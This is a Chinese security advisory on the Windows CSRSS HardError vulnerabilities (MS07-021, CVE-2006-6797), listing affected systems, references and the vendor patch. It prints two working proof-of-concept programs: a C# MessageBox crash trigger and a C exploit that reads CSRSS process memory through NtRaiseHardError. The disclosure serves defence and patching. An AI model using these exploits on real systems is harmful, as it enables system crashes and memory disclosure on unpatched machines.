安全研究
 安全漏洞 
	Microsoft Windows CSRSS HardError消息多个漏洞(MS07-021)
发布日期:2006-12-20
更新日期:2007-04-10
受影响系统:
Microsoft Windows XP SP2描述:
Microsoft Windows Vista
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
Microsoft Windows
BUGTRAQ ID: 21688
CVE(CAN) ID: CVE-2006-6797
Microsoft Windows是微软发布的非常流行的操作系统。
Microsoft Windows的WINSRV.DLL在处理HardError消息时存在双重释放错误。如果攻击者能够将MessageBox()函数的caption或text参数设置为以“\??\”开始的字符串的话,就会触发内核内存破坏,导致系统崩溃。此外CSRSS.exe没有正确的验证通过NtRaiseHardError传送的参数,可能允许攻击者浏览CSRSS进程内存的内容。
<*来源:3APA3A (3APA3A@security.nnov.ru)
Ruben Santamarta (ruben@reversemode.com)
链接:http://www.determina.com/security.research/vulnerabilities/csrss-harderror.html
http://marc.theaimsgroup.com/?l=full-disclosure&m=116670234706142&w=2
http://secunia.com/advisories/23448/
http://blogs.technet.com/msrc/archive/2006/12/22/new-report-of-a-windows-vulnerability.aspx
http://research.eeye.com/html/alerts/zeroday/20061215.html
http://secunia.com/advisories/23491/
http://www.microsoft.com/technet/security/Bulletin/MS07-021.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA07-100A.html
*>
测试方法:
警  告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);
static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i++)
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe
====================================================
/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe memory disclosure
/////////////////////////////////////////
///// Ruben Santamarta
///// ruben at reversemode dot com
///// www.reversemode.com
/////////////////////////////////////////
///// 12.27.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>
#define UNICODE
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS ((NTSTATUS) 0x00000000)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
#define STATUS_INVALID_PARAMETER ((NTSTATUS) 0xC000000D)
#define SystemProcessesAndThreadsInformation 5
#define NTAPI __stdcall
int gLen=1;
typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
ULONG,
ULONG,
PULONG,
UINT,
PULONG);
typedef LONG NTSTATUS;
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID {
DWORD UniqueProcess;
DWORD UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _VM_COUNTERS {
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
} VM_COUNTERS;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
LONG State;
LONG WaitReason;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREAD_INFORMATION Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);
ULONG GetCsrssThread()
{
ULONG cbBuffer = 0x5000;
ULONG tPointer;
LPVOID pBuffer = NULL;
NTSTATUS Status;
PCWSTR pszProcessName;
DWORD junk;
ULONG ThreadCount;
int i=0,b=0;
PQUERYSYSTEM NtQuerySystemInformation;
PSYSTEM_THREAD_INFORMATION pThreads;
PSYSTEM_PROCESS_INFORMATION pInfo ;
NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress(
LoadLibrary( "ntdll.dll" ),
"NtQuerySystemInformation" );
do
{
pBuffer = malloc(cbBuffer);
if (pBuffer == NULL)
{
printf(("Not enough memory\n"));
break;
}
Status = NtQuerySystemInformation(
SystemProcessesAndThreadsInformation,
pBuffer, cbBuffer, NULL);
if (Status == STATUS_INFO_LENGTH_MISMATCH)
{
free(pBuffer);
cbBuffer *= 2;
}
else if (!NT_SUCCESS(Status))
{
printf("NtQuerySystemInformation Error! ");
free(pBuffer);
}
} while (Status == STATUS_INFO_LENGTH_MISMATCH);
pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
for (;;)
{
if (pInfo->NextEntryDelta == 0)
break;
if(pInfo->ProcessName.Buffer!=NULL &&
!wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))
{
printf("\n[%ws] \n\n",
pInfo->ProcessName.Buffer);
printf("5 addresses for testing purposes\n\n");
for(b=0;b<5;b++)
{
printf("Thread %d ->
0x%x\n",b,pInfo->Threads[b].StartAddress);
}
tPointer=(ULONG)pInfo->Threads[1].StartAddress;
}
pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
+
pInfo->NextEntryDelta);
}
free(pBuffer);
return tPointer;
}
VOID WINAPI ReadBox( LPVOID param )
{
HWND hWindow,hButton,hText;
int i=0,b=0;
int gTemp;
char lpTitle[300];
char lpText[300];
char lpBuff[500];
for (;;)
{
lpText[0]=(BYTE)"";
Sleep(800);
hWindow = FindWindow("#32770",NULL);
if(hWindow != NULL)
{
GetWindowText(hWindow,(LPSTR)&lpTitle,250);
hText=FindWindowEx(hWindow,0,"static",0);
GetWindowText(hText,(LPSTR)&lpText,250);
hText=GetNextWindow(hText,GW_HWNDNEXT);
GetWindowText(hText,(LPSTR)&lpText,250);
gTemp = strlen(lpTitle);
if ( gTemp>1 ) gLen = gTemp;
else gLen = 1;
for(i = 0; i < gTemp; i++)
printf("%.2X",(BYTE)lpTitle[i]);
SendMessage(hWindow,WM_CLOSE,0,0);
ZeroMemory((LPVOID)lpTitle,250);
ZeroMemory((LPVOID)lpText,250);
ZeroMemory((LPVOID)lpBuff,300);
}
}
}
int main()
{
UNICODE_STRING uStr={5,5,L"fun!"};
ULONG retValue,args[]={0,0,&uStr};
ULONG csAddr;
PNTRAISE NtRaiseHardError;
int i=0;
system("cls");
printf("##########################################\n");
printf("### Microsoft Windows NtRaiseHardError ###\n");
printf("##### Csrss.exe memory disclosure ######\n");
printf("@@@@@ Xmas Exploit - ho ho ho! @@@@@@\n");
printf("## Ruben Santamarta www.reversemode.com ##\n");
printf("##########################################\n\n");
NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtRaiseHardError");
csAddr=GetCsrssThread();
args[0]=csAddr;
args[1]=csAddr;
printf("\n[+] Capturing Messages \n");
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)ReadBox,
0,
0,
NULL);
printf("\n[+] Now reading at: [0x%p] - Thread 1\n\n",csAddr);
for(;;)
{
printf("Reading bytes at [0x%p] : ",args[0]);
NtRaiseHardError(0x50000018,3,4,args,1,&retValue);
if(retValue && gLen<=1) printf("00\n");
else printf("\n");
args[0]+=gLen;
args[1]+=gLen;
}
}
建议:
厂商补丁:
Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS07-021)以及相应补丁:
MS07-021:Vulnerabilities in CSRSS Could Allow Remote Code Execution (930178)
链接:http://www.microsoft.com/technet/security/Bulletin/MS07-021.mspx?pf=true
浏览次数:5531
严重程度:0(网友投票)
绿盟科技给您安全的保障
